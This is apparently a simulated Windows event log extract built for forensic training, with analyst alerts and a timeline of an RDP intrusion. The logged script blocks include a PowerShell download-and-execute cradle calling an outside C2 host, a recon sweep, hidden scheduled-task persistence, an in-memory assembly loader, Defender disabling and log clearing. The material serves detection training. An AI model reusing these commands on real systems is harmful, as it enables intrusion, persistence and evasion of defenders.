================================================================================ SIMULATED WINDOWS EVENT LOG EXTRACT -- FORENSIC TRAINING EXERCISE Case: INTL-2025-0042 | Source: WORKSTATION-PC (10.0.5.21) Exported: wevtutil qe Security,System,Microsoft-Windows-PowerShell/Operational Time range: 2025-07-15 02:30:00 UTC to 2025-07-15 04:30:00 UTC ================================================================================ ======================================== EVENT LOG: Security ======================================== --- RDP Logon from unusual external IP --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 02:44:51 UTC Event ID: 4624 Task Category: Logon Level: Information Keywords: Audit Success Computer: WORKSTATION-PC.corp.acmeindustries.local Description: An account was successfully logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Information: Logon Type: 10 <<< TYPE 10 = RemoteInteractive (RDP) Restricted Admin: No Virtual Account: No Elevated Token: Yes New Logon: Security ID: S-1-5-21-3842573829-1048230927-2901938482-1104 Account Name: jdoe Account Domain: CORP Logon ID: 0x7A4F21C Linked Logon ID: 0x0 Network Account: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x0 Process Name: C:\Windows\System32\svchost.exe Network Information: Workstation Name: ATTACKER-WS Source Network Address: 91.234.99.187 <<< UNUSUAL EXTERNAL IP -- NOT CORP RANGE Source Port: 58723 Detailed Auth Info: Logon Process: User32 Authentication Package: Negotiate Transited Services: - Package Name: NTLM V2 <<< NTLMv2 not Kerberos -- external logon Key Length: 128 >>> ALERT: Type 10 (RDP) logon from external IP 91.234.99.187 at 02:44 UTC >>> Normal RDP sources for jdoe: 10.0.5.100, 10.0.5.101 (internal workstations) >>> This IP geolocates to Eastern Europe -- user jdoe is US-based --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 02:44:51 UTC Event ID: 4672 Task Category: Special Logon Level: Information Keywords: Audit Success Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Special privileges assigned to new logon. Subject: Security ID: S-1-5-21-3842573829-1048230927-2901938482-1104 Account Name: jdoe Account Domain: CORP Logon ID: 0x7A4F21C Privileges: SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege <<< USED FOR PROCESS INJECTION SeSystemEnvironmentPrivilege SeImpersonatePrivilege <<< USED FOR TOKEN MANIPULATION --- --- Suspicious Process Creation --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 02:47:33 UTC Event ID: 4688 Task Category: Process Creation Level: Information Keywords: Audit Success Computer: WORKSTATION-PC.corp.acmeindustries.local Description: A new process has been created. Subject: Security ID: S-1-5-21-3842573829-1048230927-2901938482-1104 Account Name: jdoe Account Domain: CORP Logon ID: 0x7A4F21C Process Information: New Process ID: 0x131C (PID 4892) New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Token Elevation: %%1936 (elevated) Mandatory Label: S-1-16-12288 (High) Creator Process ID: 0x086C (PID 2156 = explorer.exe) Creator Process Name: C:\Windows\explorer.exe Process Command Line: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0A... >>> ALERT: PowerShell launched with -nop -w hidden -enc flags >>> This is a common attack pattern: No Profile, Window Hidden, Encoded Command --- --- Failed Lateral Movement Attempts --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 03:02:15 UTC Event ID: 4625 Task Category: Logon Level: Information Keywords: Audit Failure Computer: DC01.corp.acmeindustries.local Description: An account failed to log on. Account Name: administrator Account Domain: CORP Source Network Address: 10.0.5.21 <<< FROM COMPROMISED WORKSTATION Logon Type: 3 Failure Reason: %%2313 (Unknown user name or bad password) Status: 0xC000006D Sub Status: 0xC000006A >>> ALERT: Failed logon to DC from compromised workstation -- credential testing --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 03:02:18 UTC Event ID: 4625 Task Category: Logon Level: Information Keywords: Audit Failure Computer: DC01.corp.acmeindustries.local Description: An account failed to log on. Account Name: admin Account Domain: CORP Source Network Address: 10.0.5.21 Logon Type: 3 Failure Reason: %%2313 --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 03:02:22 UTC Event ID: 4625 Task Category: Logon Level: Information Keywords: Audit Failure Computer: DC01.corp.acmeindustries.local Description: An account failed to log on. Account Name: svc_backup Account Domain: CORP Source Network Address: 10.0.5.21 Logon Type: 3 Failure Reason: %%2313 >>> ALERT: Multiple failed logons from 10.0.5.21 in rapid succession -- credential spraying --- --- Successful Lateral Movement to File Server --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 03:08:44 UTC Event ID: 4624 Task Category: Logon Level: Information Keywords: Audit Success Computer: FILESERVER01.corp.acmeindustries.local Description: An account was successfully logged on. Account Name: jdoe Account Domain: CORP Logon Type: 3 <<< Network logon (SMB) Source Network Address: 10.0.5.21 Logon Process: NtLmSsp >>> ALERT: Lateral movement from compromised workstation to FILESERVER01 via SMB ======================================== EVENT LOG: Microsoft-Windows-PowerShell/Operational ======================================== --- PowerShell Script Block Logging (4104) --- Log Name: Microsoft-Windows-PowerShell/Operational Source: Microsoft-Windows-PowerShell Date: 2025-07-15 02:47:33 UTC Event ID: 4104 Task Category: Execute a Remote Command Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Creating Scriptblock text (1 of 1): IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.47:8443/stager') ScriptBlock ID: {8a2f4e1c-3b5d-4c6e-9a7f-2d1e8b3c4f5a} Path: >>> DECODED: Downloads and executes code from C2 server 185.220.101.47 --- Log Name: Microsoft-Windows-PowerShell/Operational Source: Microsoft-Windows-PowerShell Date: 2025-07-15 02:48:05 UTC Event ID: 4104 Task Category: Execute a Remote Command Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Creating Scriptblock text (1 of 1): function Invoke-ReconSweep { $info = @{} $info['hostname'] = $env:COMPUTERNAME $info['user'] = whoami /all $info['domain'] = (Get-ADDomain).DNSRoot $info['admins'] = net group "Domain Admins" /domain $info['trusts'] = nltest /domain_trusts $info['shares'] = net view \\FILESERVER01 /all $info['arp'] = arp -a $info['routes'] = route print $info | ConvertTo-Json | Out-File C:\Windows\Temp\recon_output.txt } Invoke-ReconSweep ScriptBlock ID: {9b3f5e2d-4c6e-5d7f-0a8b-3e2f9c4d5a6b} >>> ALERT: Automated reconnaissance script collecting domain, admin, and network information --- Log Name: Microsoft-Windows-PowerShell/Operational Source: Microsoft-Windows-PowerShell Date: 2025-07-15 02:51:30 UTC Event ID: 4104 Task Category: Execute a Remote Command Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Creating Scriptblock text (1 of 1): $action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\svc_update.exe" -Argument "-k netsvcs" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -Hidden Register-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\SystemHealthCheck" ` -Action $action -Trigger $trigger -Principal $principal -Settings $settings ` -Description "Performs routine system health diagnostics" ScriptBlock ID: {ac4f6e3e-5d7f-6e8a-1b9c-4f3a0d5e6b7c} >>> ALERT: Creating hidden scheduled task for persistence >>> Masquerading as legitimate Windows maintenance task >>> Runs malicious svc_update.exe as SYSTEM at every startup --- Log Name: Microsoft-Windows-PowerShell/Operational Source: Microsoft-Windows-PowerShell Date: 2025-07-15 03:15:22 UTC Event ID: 4104 Task Category: Execute a Remote Command Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Creating Scriptblock text (1 of 2): $enc = [System.IO.File]::ReadAllText("C:\Windows\Temp\payload.b64") $bytes = [Convert]::FromBase64String($enc) $ms = New-Object IO.MemoryStream(,$bytes) $gz = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress) $sr = New-Object IO.StreamReader($gz) $code = $sr.ReadToEnd() [System.Reflection.Assembly]::Load([Convert]::FromBase64String($code)) ScriptBlock ID: {bd5a7f4f-6e8a-7f9b-2c0d-5a4b1e6f7c8d} >>> ALERT: Fileless malware technique -- loading .NET assembly directly into memory >>> No PE file written to disk -- evades traditional AV file scanning ======================================== EVENT LOG: System ======================================== --- New Service Installation --- Log Name: System Source: Service Control Manager Date: 2025-07-15 02:51:44 UTC Event ID: 7045 Task Category: None Level: Information Computer: WORKSTATION-PC.corp.acmeindustries.local Description: A service was installed in the system. Service Name: SystemHealthMonitor Service File Name: C:\Windows\Temp\svc_update.exe -k netsvcs Service Type: user mode service Service Start Type: auto start Service Account: LocalSystem >>> ALERT: New service installed running from Temp directory as SYSTEM >>> Legitimate services never run from %TEMP% >>> Service name mimics legitimate Windows service naming convention --- --- Windows Defender Disabled --- Log Name: Microsoft-Windows-Windows Defender/Operational Source: Microsoft-Windows-Windows Defender Date: 2025-07-15 02:50:12 UTC Event ID: 5001 Task Category: None Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Microsoft Defender Antivirus Real-Time Protection has been disabled. >>> ALERT: Real-time protection disabled -- common attacker action before dropping tools --- Log Name: Microsoft-Windows-Windows Defender/Operational Source: Microsoft-Windows-Windows Defender Date: 2025-07-15 02:50:14 UTC Event ID: 5010 Task Category: None Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Microsoft Defender Antivirus scanning for malware and other potentially unwanted software has been disabled. --- Log Name: Microsoft-Windows-Windows Defender/Operational Source: Microsoft-Windows-Windows Defender Date: 2025-07-15 02:50:15 UTC Event ID: 5012 Task Category: None Level: Warning Computer: WORKSTATION-PC.corp.acmeindustries.local Description: Microsoft Defender Antivirus scanning for viruses has been disabled. >>> ALERT: All Defender scanning components systematically disabled --- --- Audit Log Cleared --- Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2025-07-15 04:15:33 UTC Event ID: 1102 Task Category: Log clear Level: Information Computer: WORKSTATION-PC.corp.acmeindustries.local Description: The audit log was cleared. Subject: Security ID: S-1-5-21-3842573829-1048230927-2901938482-1104 Account Name: jdoe Account Domain: CORP Logon ID: 0x7A4F21C >>> CRITICAL ALERT: Security audit log cleared by compromised jdoe account >>> This is anti-forensics -- Event ID 1102 is itself evidence of log tampering >>> The act of clearing the log generates this one final entry >>> Forwarded logs (if configured) would still contain the cleared events --- --- System Event Log Cleared --- Log Name: System Source: Microsoft-Windows-Eventlog Date: 2025-07-15 04:15:35 UTC Event ID: 104 Task Category: Log clear Level: Information Computer: WORKSTATION-PC.corp.acmeindustries.local Description: The System log file was cleared. Subject: Security ID: S-1-5-21-3842573829-1048230927-2901938482-1104 Account Name: jdoe >>> ALERT: System log also cleared -- attacker wiping all local log evidence ================================================================================ END OF SIMULATED EVENT LOG EXTRACT ================================================================================ INVESTIGATION TIMELINE FROM LOGS: 02:44:51 - RDP logon from 91.234.99.187 (external, Eastern Europe) as jdoe 02:47:33 - PowerShell launched with encoded C2 download command 02:48:05 - Automated reconnaissance script executed 02:50:12 - Windows Defender real-time protection disabled 02:50:14 - Defender scanning disabled 02:50:15 - Defender virus scanning disabled 02:51:30 - Persistence scheduled task created (SystemHealthCheck) 02:51:44 - Persistence service installed (SystemHealthMonitor) 03:02:15 - Failed lateral movement to DC01 (credential spraying) 03:08:44 - Successful lateral movement to FILESERVER01 via SMB 03:15:22 - Fileless second-stage payload loaded into memory 04:15:33 - Security audit log cleared (anti-forensics) 04:15:35 - System event log cleared (anti-forensics)